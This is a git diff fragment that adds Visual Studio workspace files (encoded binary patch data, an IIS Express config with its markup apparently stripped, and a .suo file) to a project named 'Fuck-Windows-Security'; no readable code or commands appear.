zY;;p!qP~Z6FXbter-C~FH0trkA<~W=DDOylC(1ih-h~_>@n_dku0qg%LS z&Ljs(kMzj^)OI2=CR3(ol$(@?$QC)9oI|!jZEsg{l=`{kZshLdJaP|mPjWAEZ*m`U zUvfWC*K+{n1IdG^KZHCC)bT%p=|@t36gi(>d+mpqUB1*q*@0P1#LNc~0R#pESSzl`$bl&_$CC3zKjHF*tr zEvW5ZPu>XXdT*h88>s!go%%bezl-|2Dc?)^KJtF*AEf*c`7rqi`6&4qsOx=_@>Ar~ zi6u4&6V?kvVb#IgwnR zT!CB>)c&kQd1Z1H>Q|$@I^{JfuSNclT$@~nT$fyrT%X*4+z{0DZcKR-a#M0Mrgu@E zM0pF!d2&l~D{?YfAdBSIpsuf*EK}b@xsUP`aw_%Pk=v6yFukAL5!C&*Gt&pi3h9tl zvJUEga><$GAnB1l8GzdUEXpyNkSUpgx_wQuMb2S*oAR#YDD`v6-Kd{Oc@J_=P}jc? z)Ayr(fARqGK=L5+VDb?1P*D5#Bk~C9kEDDQ<)cAe-$Lq-rGAV&j`|ZQFCtGQe?tD0 zJPFkGo=o`^@>J@7PWg0lG4*FsK8x}>l+Pv4BY#1jPyUj;fczDx>%WM+g!)S*O2cn@oS3@;l@|seh01`{W1I|BLcRU^t_Yf!%?xfbEwM17g;A$!R_P_HZ7g1TMPsNbIQ z4wU=J9m$=@8K5q=3u#ebA#KuOdX;hw)b-A!JV<(=wil2Q88ba0Q!*nPptjedJe!;Y zYJ0=v2=$}nTu_&rM|lrW=iiI+-sC>i??-um$_G+Dh&-4)gglfy4AgcHr+fr?B>7|V zC{X8{Pc8(te`8EPj`|bG6PbPz<�ZkDfyLG|E3GPbU|XXOL%-XOU-<=aA=u+OJ=b zza)Rf^b09pOkPS}PF?|Ozpf;&qW&84I_j?{Zy;|ZZz697wI8=qzKy({`a3A!N&c3+ zi@ck>hrAcm_U@<9r+CTd-7TGIZ)U4Jmo)9egV|= z{Dt!0$d^DJw||f?Q@@1rQgRvjD)}0y>v@Cno8(*M+vGc-&i5|)KKUW}5vc3`H|0+# ze@cD^YQMjr{3ZDn_1}`qt=Oq&0;ugxB$p>wAXg-RK(0itOs+z%O0Gt(PObs!_N+y& zP5nCLy40^vc>{7o>Nf^;dp4tfbFzz^M4IFlpssIA%3Dz`P%e^NliM)8MD~EXz9~$f zN^VPTM@}QR2X%crQ0}L^6S*_>yHK_$S4f+5m|i98)Vt(N>OIOn8IU0vk+aB{OvseX zK;6zE$}Ms>IS1738m7D}IYRwh%DYjXM|lr&PjWAEZ&2IYm-2p;4W`%U$K+Au(M(@Jc_HOvDUX5L&IyzkktdQrA%9AqME;CCnLLF&71Z`lr@WXvgFKTw zi#(e=hdh@&kNgFwjP}_e1)P6in{Ug*rM)`5dPm)iQ&ydfO ze*m?eKY@DvdVzeA{4=QQ`z!f(>R%%NLH#R~mr!0t`BloVQ+|W;Ta@3X{7>>d@&oc; zp!Vw{Q2Y4_jQTFpq<#xBPj1Qd$&?FZ5!7+) zW_p?IWqKbug`7%mOKwL_Bew^2yLKRVq<$xI2DvlS2Pj))g|tbBRAd#@_Un{gawa** zbf0oShGay}B4be7ODSh$gKRRrMb4qVO%9X0k|UtDH<$8ml;@Fql6#Z;f_i-INA6D^ zKpqHcdk2$;l0Rbl;p7qIkxV~|^3jwRP+my+SjuDMapdvj3FIR3L{N{DlR)jy$<&`h zo=ToZ{+v9WTuh!po(XC@XM@`AdDQ=c@&%NCMP5i=L|zQ)@|RM+jPkF^E2+PVyqfxJ zL0#Vs)Za+`&6IB;ZzXRdZwGaKcaXoO{x0%v5U*m5`<$sW`P``xoGRm)#uTlR7`4;tWQ~oFU z9{BUZpvlKJ!CK0M@|8?U)xgNj+{pQbh4k^iQE~~ao>d;puR%cCLQXllxvh-$}`D9 z(qno6>h{l~oRAsW1a{{C#dV&hx&cV{mA{v1IPnG zZU11(hmePohcW$d%12QCG3BGkqsjT8uKyTN+a06+IP!S%1ac9m^ZkT8i9DG+71ZrJ zjq>S~7n5g@XEOb4%IA>hlIJn~e9FHhFQEQH$`?_-guIOU%R$|)D=A+^UJYvhucdq) zc|G+vk~fpLGW|C4cJepm9ps&$wtE+O4|yNc@2C7A<%cLgLithhG4gTp2~gX8it^Kx zpP~GF%FmI{lYe6R3*?KSj>lgq|Bd`R`4agL@@4WBatXPVTt>c1zDB-IzCpf8zD2%G zzC-?#e3yI=)b0I%@`sc^qWo|2W9mPp{2BQl@^kVF@=Nk7@@r7n^DX7?NdAAAHgYR> z(kGHDfO=f7NO>j7E0e2$I=-t@UV~hdT#Ni6sOw#aT#x$oDQ`%5BXVPM6LM2>GjemX z3)FT^%3F|ma!aO9rd%M4Ux&!s$% z@*d=#p!Rcb%KMP}Qoldt11KLv9zy-0aQZNCa+=ob(F6sZy;|ZZz69dZy|3bZzFF9wO@BozLWA@l3OSYBmfVhSh$0QEWz;IZK(bG824UGx5zNG?Ua!GBatJY28dC zvr#b{uG#R-Mr<~Hb4Zz^@XpFt+`J0%D$c8+eAUWV-F!96*IRjao4ni3530Q1$_H6K zvhqB^9?KCsN@@NzTxMGRDPs9IbWTuh9=kD$-Y}K z>jkq>Foz2HN+Dk@1%
  • 6IHD%4cL4GMuOr1;benN?`Ig*i!K*O9_Vu`tq87+FvlZ5Q=VxmdP} zWw%(4w#Fw4x7nuHJ+h!wDwoQ|Qt$LqU$NBJSF)Uv6_+a2l3g#^Vac&djw-3CB{i$0 z;*uIFRozlGEY(!0K3J-UrFyI6IwdzP4XTo-O1@PJ@KL28ECpF9tdzpI6j`MxF3nP< z*eb=Ul&DhbmeN+KVU`+Jso|CyeyQn}hEzGMCt+ZTGWjidZp>j1VyJ6W) z%7d!xS!K^HdqLT6m4mPxS>>o&j^c8ZloM4>TIHr&9w{S8J>3g>dTKpAZcjz^IBrih z>#4atZqPF`>j~rDUb9#K^!4^m>Fu4`+t==$vR&_#O7GOZ-s!!)ZLhbT^tRK!VzIA; zOjG;%?7ry>`)t+Mw)@)2lroApFl~B&ez3o%r@yzizdzsKZ}s=v{r$E6{(8UV^jlHC9ro8$ ze|@k&Y4x|0{$uhp%y5R&94MFrGn|2n8klcd<_yb9tcq(@JgX8~cG0qJ%T|_Mwd}fO z4_Y>qk!7crV_A-af2GK(DXSJ+wZw9L%MGkSS5G*vV0k6WD_fprc@@j6Szg`pkmOmO zZ+VgB#g>;?UTS%nb(+)P>sS@XvK`Au7dlqz zSS_bw>cORdl!Jc@OI1KeRUPFyDsWWjsMt}7qf$pToNDOQlv7uZYddb$aRbLq95=<- zbbQwdZ71}du<1mW6U9#KI*H>X%1K*J+IBMA$vmfNIn7X+MP+s?bA~G9RiUT~b5yaY zieb?p$a1XPn`v+ z3NjTmRM1kvY!$RsXevyLFi?@DB2Pu3iefb@Q`mm7*vDlRTPn77H^xfERTbA%?5j9X zaj4=*#j%PL6{jk0sJN-(mWtad9#)B|lA=n=ddMeAC3Tg!Dj8Hsq>@-AiAqwHv{W)j zC2f_ODlMtBSEbWbYN^y#sZwcGrFE6MDvec|sx(t+Q>AT{C92V*8vUwasfJPwS2a@A zEUBiYno2cY)eQ6`8$#?|H593#RJBai>Q*hKT8V14RclzaMpWBUZCkY+)vl?wuiBAn zCu%sahWpj1Sv9+{l2$FRYGqZs4+FZYtf~soez;Ywn$@bR)~Z$4)*b8Cs;*acgQ^=> z-L&diRX@RCuZCVVjH|J##%?tZtEpK{o7J>k&FpICRkNU)#nmjSwz_L3J~OZ+)U32- zEvPB8rn+m&uc-jxuBoJ^Qg~UbdbOIW)!bS=t+{s14Qg&ubJLn1)&f-v!de*DVpA{k zaac>tT4L9db}bpMWfq28E%R%0hHJz5da;OAzHS9|E5@>mwY6?F>dMkfk)EJlT?KU& zqtDO*^{T5EC)cUFUfuQUZculV`k-AORP{lx9+>setA~C)4C`TB50iSB)x%~zQT1e` zo?7)Zsi$c@tJE8Iy^+*gQN5Ma+fKb5)!RvZxW7JXx@NaN8*Q@<_A~4~Sm?0?W1V$v z3;#l&uH1I9qG2t=Du(sTwUN|voucbFuA?yVToq$@xmDM#w%nTO)|4w@a%+L>Ij*N% z&viY|^-|aG)*GO&T;Fy5$PJ2a(Cr2#Hz;FQbOT#2OPG=9Ohh+u-C)oSkS%tD#0^q6 z$lRdehNeD@gq9lyZWy~^;zpJmg>IC(v2x?kjT1Lc-Nba0ZWmi_qTHm4u(^rrCWCGg zxJl$DiJPQuYPqR$)4H3wZtA&d;HIIQMsAw8Y0GUWx8b_8EqAtZ+m72#W-5DT=+4ZN z!BTV3N(b!>$1W@$gQ_)Hiw9i~?hbnXpkEt|;=wfZ%x=$|;T7h1TbI33>XnsOZhBVD zvs}-LJuC67)T@M8uXUUpECHsc3LXwwdWpn-h~>}G%aW>ks-^>}mnYv-fu}-G#hyw$ zm3pe-sivpeo*MS5Wv}XZ)!3_L7#aFB;o6?7Jh$q(HP7`uH}Kp9P4(P{=g#&#)AP3W zys}>Q&_!P0d7y_QK2yn_gt-&65>X8Qd&RoFO7=@Fz)NP%xfz7_jc>R0q`?c1sEn7)HW+VoYy zS6ln4+sC0;;opgbvWkV_@3y{^QV3N`9jJq~RxRKMnoN^s}O$*?zXbZ(9D)bbn~X zZ`pp!_1hJ{ZTs!I-%bLv7?|C-fCZD&ppXxW#h?`7NFCs6WmN*p4y>9ExdlxSRB*n* zmV)`=1$KbbL*ST!(;YbF!0FLPKfT{$>iB^Z22L6%6E~7T6$51l$_bQ*O(;-FppeuE z^cvmPGprg1HB%oO^-AXlwIrxzL2XV@8xGt6lLV6?7%T>ZI%Iku)7nHIFvB1Sqacif zFb$$Gh~gktK^z8&86^FBqf4rKz9wmqG=iiRB<&y>4pK8n3qe}ehtt&7n_*hjb2{~c zG!D{6khX%f9i$_Algz3?<^@?hX!HjS2a`T%gh49}W`{xB3feX{&!8Oy?I>vDl3Bz( zB(##y%0jCVR;oBqhLxFNB@Jy0C&JLKhqfEqgP|SbKo;5=&PJhA4;?pjvanhWt1fnk zux5re71nBD%?N?4?);W!e$x{nc+||9CE^; zS~%o~Ls2-CghS9b!l9AKoS|pG6-QPQS!rZtk%Lp6jpGhZCs7se210B(k?TaRirjYO zS^Ajcxsey@1w%(6j>04goBE~_IZ;%PA}l002e}f1z9{LBu)wF2vARbXZfO*yNt9Vp zR*AAW!g0IR9kt@9)r{JcqjoY&`Li->R_4ZLF*aw!rG^}%Y+R*c%a5%9cbM2}##T!o ztn7O1n6cBZPgwfk+l-yzSWUt^j93+8)s5?NtjhY%q$>JEuTPmci{V&Ni9XheIambvFl?$)7^+Bx=HM&vD=8TVfe1@ zRX>S?NpVor_p<=I8SW4c&Mz2_ap+;a!Jvu55aR=VABRaCrg50XVFPiDqgY?*v@1w! z#fhnphe=)UhZrVF8Yk^IHRH4tr@e97hs$4_+WP#6oik11G>g+#oY^r>pji-SN!&2w zMp2(G8*bcyI2s(@+iEZKbmDpio$BCUJj+r>AevPEM_4QQQ zIN9ryEOv4=i2X#bG5YL_vn;X=B~>%2T1izUIQ-SS^>tRCpKu<+Mviw;6@3H4oyM&t zuBTTfIW*t|fNef;8ws{{cQ_gJlfhJ9g0VLQlasI;D@77kF-3LoaCX)s6%VZ>Hj_9> z5>p?gwH3^^C`sD-T~}I6((WWJC21KqX?@VfDu{`Q*r!R7Hj}iKq{um(WR)a~l7@w= zVbV}Zqo!BNR+7xgC+$kowv)Dl<9X7qVq-}#x!VzX50xYca(jL=Nu!2-U7;r=CKx73md33# zG1H`oVV5R0#!Z?G>&p#}foYVc82)&-5$Q?LP-(+Wn^xKk(S@bMTT$9d)7Eg>uB2@nccZjjPur31+jb*uH`De|I+A5(G3#$uk$+$>46w4~qYqzWCAr7pIGtQ}4_zEm_K*sO zR5YYUhici7n+&Wc)nS{d)fJ>Gv8G6&FXy9n{WE_ z&0xNn%-_~oP%bTKxC>AR7zc1QEwrpHlzk1u9#A9`TTX(Nb~Ms>!P2N2iP{jB;shGfB#<<;1w&Jy zP@wGV4L4lCOK`_6=kNkN1up=fqExOJ9-Z7cv3mN~zkfdP z)AFCY{@7I}?=CoJ7<&xkf?*skUN;!VmSIpudAegiZWv?5l>a{kJL-3wj#i;@TBw{I zFEXhIO8&7Jq}8dbi`xaG%DevEYFW&-%XX|qr!+;ebU;+tyfmMu1`Dr*dtsiD&tC0QGY*t06qvGf)B$-;G=K? zJ_a9$CY*#8v|$B40jFRU)}RCHa2n3QS@r{Nj+CVUGH;oI;XcouHKbMRgG9(*63habQX z;RW~+{1|=$FTzjZXYh0Q1^g0z1;2*hz;EGq@O$_Jy!2lcn;0@4F`h6n%Yr)VO-~H@ z#IR>pZL?l8dEJy#lR{fuTVCH1%8C;!2`sIwOxvckEp1mld&ak=w8Kd|v?{h)@oH02 zR&81JWX-A6JlnBnoQmyKS-s-bYhK-#(+->Q*{qc{EYYyyhNT-qHR5g~P8wRdY{F&S zWx{2F%X-|gdEMt>z@t7-Latj}Yo1D;ws_k1sDqm0N$&MyVOzou#jGU)YBmyaCUh)P zSEO@3oAX`fOEaJkP_IyKAkrXKL87Hum1bRS~oyY3j06s%ZHnPpA~GFhX}dS= f^kY8c$*`CIx)s|V+V974{wJ4jhsH_|?k)WX2KM!Y literal 0 HcmV?d00001 diff --git a/.vs/Fuck-Windows-Security.slnx/config/applicationhost.config b/.vs/Fuck-Windows-Security.slnx/config/applicationhost.config new file mode 100644 index 0000000..ca16466 --- /dev/null +++ b/.vs/Fuck-Windows-Security.slnx/config/applicationhost.config @@ -0,0 +1,969 @@ + + + + + + +
    +
    +
    +
    +
    +
    +
    +
    + + +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    + +
    +
    + +
    +
    +
    +
    +
    +
    + +
    +
    +
    +
    +
    + +
    +
    +
    + +
    +
    + +
    +
    + +
    +
    +
    + + +
    +
    +
    +
    +
    +
    + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/.vs/Fuck-Windows-Security.slnx/v18/.suo b/.vs/Fuck-Windows-Security.slnx/v18/.suo new file mode 100644 index 0000000000000000000000000000000000000000..0a29aad8a5bea645be8bd7ea4d8ced8d126458f6 GIT binary patch literal 597504 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 